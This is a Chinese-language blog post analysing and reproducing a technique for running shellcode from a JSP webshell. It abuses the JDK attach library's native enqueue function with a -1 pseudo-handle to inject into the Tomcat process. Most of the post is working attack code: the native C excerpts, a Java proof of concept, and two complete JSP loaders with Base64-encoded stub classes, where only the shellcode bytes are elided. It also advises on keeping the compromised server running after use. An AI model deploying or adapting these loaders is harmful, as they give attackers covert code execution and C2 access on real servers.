前言 去年分析过JSP加载shellcode上线的技术,但是由于需要先上传DLL到目标主机,所以在真实环境下并不方便使用,最近看到rebeyond
发表的关于Java原生远程进程注入
的文章,可以实现无需依赖上传的dll
实现JSP
加载shellcode的功能,因此决定写下这篇文章分析和复现其中的技术。
原理分析 平时执行shellcode时经常会使用远程线程注入,也就是CreateRemoteThread
。之前我们的实现中是自己通过JNI实现了一个CreateRemoteThread
来加载我们的shellcode,这种情况当然是需要将生成的dll传到目标下的,但是如果JDK的Native 层的函数中中本身实现了CreateRemoteThread
并且可以接收我们的参数执行,那不就不需要上传DLL了。
在Java Agent
中,我们要想实现在另一个进程中注入我们的Agent
,一定要实现不同JVM之间通信,并且是需要在另一个JVM进程中注入我们的Agent并执行,所以一定会使用CreateRemoteThread
。具体的实现在enqueue
中,而具体的实现则在Java_sun_tools_attach_WindowsVirtualMachine_enqueue
中。
1 static native void enqueue (long var0, byte [] var2, String var3, String var4, Object... var5) throws IOException ;
实现如下会在进程中为stub
分配内存并通过CreateRemoteThread
创建线程执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd, jstring pipename, jobjectArray args) { ... stubLen = (DWORD)(*env)->GetArrayLength (env, stub); stubCode = (*env)->GetByteArrayElements (env, stub, &isCopy); ... pCode = (PDWORD) VirtualAllocEx ( hProcess, 0 , stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ... WriteProcessMemory ( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL ); ... hThread = CreateRemoteThread ( hProcess, NULL , 0 , (LPTHREAD_START_ROUTINE) pCode, pData, 0 , NULL );
下面我们要解决如何获取进程句柄的问题,在WindowsVirtualMachine
中是通过openProcess
得到进程句柄并传入到enqueue
中执行的,我们分析下Native层函数openProcess
的实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 WindowsVirtualMachine(AttachProvider var1, String var2) throws AttachNotSupportedException, IOException { super (var1, var2); int var3; try { var3 = Integer.parseInt(var2); } catch (NumberFormatException var6) { throw new AttachNotSupportedException("Invalid process identifier" ); } this .hProcess = openProcess(var3); try { enqueue(this .hProcess, stub, (String)null , (String)null ); } catch (IOException var5) { throw new AttachNotSupportedException(var5.getMessage()); } }
Java_sun_tools_attach_WindowsVirtualMachine_openProcess
中分了两种情况,如果传入的进程ID等于当前进程ID则获取当前进程的句柄并返回。如果不是则获取传入进程ID的句柄并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 JNIEXPORT jlong JNICALL Java_sun_tools_attach_WindowsVirtualMachine_openProcess (JNIEnv *env, jclass cls, jint pid) { HANDLE hProcess = NULL; if (pid == (jint) GetCurrentProcessId()) { hProcess = GetCurrentProcess(); if (DuplicateHandle(hProcess, hProcess, hProcess, &hProcess, PROCESS_ALL_ACCESS, FALSE, 0 ) == 0 ) { hProcess = NULL; } } if (hProcess == NULL) { hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid); if (hProcess == NULL && GetLastError() == ERROR_ACCESS_DENIED) { hProcess = doPrivilegedOpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid); } if (hProcess == NULL) { if (GetLastError() == ERROR_INVALID_PARAMETER) { JNU_ThrowIOException(env, "no such process" ); } else { char err_mesg[255 ]; sprintf(err_mesg, "OpenProcess(pid=%d) failed; LastError=0x%x" , (int )pid, (int )GetLastError()); JNU_ThrowIOExceptionWithLastError(env, err_mesg); } return (jlong)0 ; } }
如果我们想实现在JSP
中加载shellcode的功能,按照目前的分析结果是需要知道进程ID的,但是有一个伪句柄的概念,所以我们就可以通过设置phandle
的值为-1
将shellcode注入到当前服务器的进程。
伪句柄是一个特殊的常量,当前为(HANDLE)-1,它被解释为当前进程的句柄。
实现 rebeyond
师傅的实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.lang.reflect.Method;public class ThreadMain { public static void main (String[] args) throws Exception { System.loadLibrary("attach" ); Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine" ); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue" )) { long hProcess=-1 ; byte buf[] = new byte [] { (byte ) 0xfc , ... (byte ) 0x65 , (byte ) 0x00 }; String cmd="load" ;String pipeName="test" ; m.setAccessible(true ); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:" +result); } } } }
上面的代码放到JSP中执行会出现找不到sun.tools.attach.WindowsVirtualMachine
类的异常,因为这个类在tools.jar
中,而tools.jar
并没有在JDK
的核心库中。
但是本质上我们只是想使用native层的enqueue
函数,但我们也知道JAVA调用native层的函数有一个命名规范,只有包名和类名都一致时才能调用到指定的native方法,enqueue
方法在C++层面的实现函数为Java_sun_tools_attach_WindowsVirtualMachine_enqueue
,所以我们要只要创建一个WindowsVirtualMachine
类,并实现其中的enqueue
方法即可。
1 2 3 4 5 6 7 8 9 10 11 package sun.tools.attach;import java.io.IOException;public class WindowsVirtualMachine { static native void enqueue (long hProcess, byte [] stub, String cmd, String pipename, Object... args) throws IOException ; static { System.loadLibrary("attach" ); } }
如果我们在JSP中直接定义WindowsVirtualMachine
类,会被编译为一个内部类并且还会对类名进行改变,所以我们要先将这个类编译好通过defineClass
加载即可,JSP完整实现如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "java.lang.reflect.Method" %> <%@ page import = "java.util.Base64" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Arrays" %> <%! public static class Myloader extends ClassLoader //继承ClassLoader { public Class get (byte [] b) { return super .defineClass(b, 0 , b.length); } } %> <% try { String classStr="yv66vgAAADQAHgoABQAUCAAVCgAWABcHABgHABkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZTsBAAdlbnF1ZXVlAQA9KEpbQkxqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspVgEACkV4Y2VwdGlvbnMHABoBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwABgAHAQAGYXR0YWNoBwAbDAAcAB0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABAAFAAAAAAADAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAABQAKAAAADAABAAAABQALAAwAAAGIAA0ADgABAA8AAAAEAAEAEAAIABEABwABAAgAAAAiAAEAAAAAAAYSArgAA7EAAAABAAkAAAAKAAIAAAAJAAUACgABABIAAAACABM=" ; Class cls = new Myloader().get(Base64.getDecoder().decode(classStr)); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue" )) { long hProcess=-1 ; byte buf[] = new byte [] { (byte ) 0xfc , (byte ) 0x48 , (byte ) 0x83 , (byte ) 0xe4 , (byte ) 0xf0 ,... }; String cmd="load" ;String pipeName="test" ; m.setAccessible(true ); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:" +result); } } } catch (Exception e) { e.printStackTrace(); } %>
补充 由于在不同的版本中BASE64的类不同,并且在低版本的JDK无法加载高版本编译的Class文件字节码。因此在编译时要尽可能选择低版本的JDK环境,比如JDK1.6。在JDK7中可以使用com.sun.org.apache.xerces.internal.impl.dv.util.Base64
替代java.util.Base64
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "java.lang.reflect.Method" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Arrays" %> <%@ page import = "com.sun.org.apache.xerces.internal.impl.dv.util.Base64" %> <%! public static class Myloader extends ClassLoader //继承ClassLoader { public Class get (byte [] b) { return super .defineClass(b, 0 , b.length); } } %> <% try { String classStr="yv66vgAAADMAHgoABQAUCAAVCgAWABcHABgHABkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZTsBAAdlbnF1ZXVlAQA9KEpbQkxqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspVgEACkV4Y2VwdGlvbnMHABoBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABpXaW5kb3dzVmlydHVhbE1hY2hpbmUuamF2YQwABgAHAQAGYXR0YWNoBwAbDAAcAB0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2xvYWRMaWJyYXJ5AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABAAFAAAAAAADAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAABQAKAAAADAABAAAABQALAAwAAAGIAA0ADgABAA8AAAAEAAEAEAAIABEABwABAAgAAAAiAAEAAAAAAAYSArgAA7EAAAABAAkAAAAKAAIAAAAJAAUACgABABIAAAACABM=" ; Class cls = new Myloader().get(Base64.decode(classStr)); for (Method m:cls.getDeclaredMethods()) { if (m.getName().equals("enqueue" )) { long hProcess=-1 ; byte buf[] = new byte [] { (byte ) 0xfc ,... }; String cmd="load" ;String pipeName="test" ; m.setAccessible(true ); Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}}); System.out.println("result:" +result); } } } catch (Exception e) { e.printStackTrace(); } %>
坑点 由于这种方式是通过Tomcat服务的进程上线的,所以如果在使用结束后直接退出,也会将Tomcat的进程给退出了,这点确实比较尴尬。目前也没有比较好的解决办法,只能在使用结束后直接sleep一个很大的值来模拟退出,但是确实不够优雅。
总结 rebeyond
师傅Java内存攻击技术漫谈 真的写的非常精彩,也让我意识到了自己知识储备上的不足。最后还是感谢师傅的分享。